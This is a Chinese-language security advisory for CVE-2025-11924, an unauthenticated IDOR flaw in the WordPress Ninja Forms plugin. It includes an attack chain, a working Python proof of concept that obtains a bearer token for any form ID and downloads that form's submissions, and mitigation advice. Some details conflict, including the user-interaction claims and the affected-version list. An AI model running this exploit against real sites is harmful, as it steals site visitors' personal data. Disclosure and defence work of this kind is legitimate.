IPBUF安全漏洞报告
English
CVE-2025-11924 CVSS 7.5 高危

CVE-2025-11924 WordPress Ninja Forms插件IDOR漏洞导致敏感信息泄露

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-11924
漏洞类型
不安全的直接对象引用(IDOR)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ninja Forms – The Contact Form Builder That Grows With You

相关标签

IDOR敏感信息泄露WordPress插件漏洞Ninja FormsREST API安全未授权访问 bearer tokenCVSS 7.5高危漏洞

漏洞概述

Ninja Forms是WordPress平台上广受欢迎的联系人表单构建插件,用户基数庞大。该插件在3.13.2及以下版本中存在严重的不安全直接对象引用(IDOR)漏洞。由于插件在处理ninja-forms-views REST端点时未能正确验证用户授权,攻击者可以通过泄露的bearer token无需身份验证即可访问任意表单定义和提交记录。值得注意的是,开发者虽然在3.13.1版本中发布了修复补丁,但由于引入的REST API端点存在缺陷,允许为任意form ID生成有效的bearer token,导致原有补丁形同虚设。攻击者利用此漏洞可获取用户通过表单提交的敏感信息,包括个人身份信息、联系方式、业务数据等,对网站用户隐私造成严重威胁。

技术细节

该漏洞的根本原因在于Ninja Forms插件的REST API端点缺乏充分的访问控制检查。当WordPress页面加载包含Submissions Table区块时,插件会注册并暴露ninja-forms-views相关的REST路由。问题出在两个方面:首先,端点未验证请求者是否有权访问特定表单的数据;其次,插件提供了一个API端点(/wp-json/ninja-forms-views/...),允许为任意form_id生成bearer token,而无需进行所有权验证。攻击者只需诱使目标用户访问包含Submissions Table区块的页面,即可获取泄露的bearer token。随后,攻击者可以构造请求,通过该token访问/wp-json/ninja-forms-views/v1/forms/{form_id}/submissions端点,获取任意表单的提交记录。CVSS 7.5评分反映出该漏洞无需特殊权限或用户交互即可被利用,但影响范围仅限于机密性(信息泄露),对数据完整性和可用性无直接影响。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标WordPress网站是否安装Ninja Forms插件,并确定页面是否包含Submissions Table区块
STEP 2
步骤2: Token获取
攻击者通过/wp-json/ninja-forms-views/v1/bearer端点,使用任意form_id获取有效的bearer token
STEP 3
步骤3: 构造恶意请求
攻击者使用获取的token,向/wp-json/ninja-forms-views/v1/forms/{form_id}/submissions端点发送GET请求
STEP 4
步骤4: 数据窃取
由于IDOR漏洞,系统返回目标表单的所有提交记录,攻击者获取敏感用户信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-11924 PoC - Ninja Forms IDOR Vulnerability # Target: WordPress site with Ninja Forms plugin < 3.13.2 def get_bearer_token(target_url, form_id): """ Obtain bearer token for arbitrary form_id via the vulnerable endpoint """ endpoint = f"{target_url}/wp-json/ninja-forms-views/v1/bearer" headers = { "Content-Type": "application/json" } data = {"form_id": form_id} try: response = requests.post(endpoint, headers=headers, json=data, timeout=10) if response.status_code == 200: return response.json().get("token", "") except Exception as e: print(f"Error obtaining token: {e}") return None def get_form_submissions(target_url, form_id, token): """ Retrieve form submissions using the obtained bearer token """ endpoint = f"{target_url}/wp-json/ninja-forms-views/v1/forms/{form_id}/submissions" headers = { "Authorization": f"Bearer {token}" } try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: return response.json() except Exception as e: print(f"Error retrieving submissions: {e}") return None # Usage example if __name__ == "__main__": target = "https://vulnerable-site.com" form_id = 1 # Arbitrary form ID # Step 1: Get bearer token token = get_bearer_token(target, form_id) if token: print(f"Obtained token: {token}") # Step 2: Retrieve submissions submissions = get_form_submissions(target, form_id, token) if submissions: print(f"Found {len(submissions)} submissions") print(json.dumps(submissions, indent=2))

影响范围

Ninja Forms plugin < 3.13.1
Ninja Forms plugin = 3.13.1 (incomplete fix)
Ninja Forms plugin <= 3.13.2

防御指南

临时缓解措施
由于该漏洞的利用条件相对简单(只需访问包含Submissions Table区块的页面即可获取token),建议尽快升级插件。在升级前,可通过Web应用防火墙限制对/wp-json/ninja-forms-views/路径的访问,或暂时移除页面中的Submissions Table区块组件。同时,应检查近期日志确认是否存在异常的数据访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表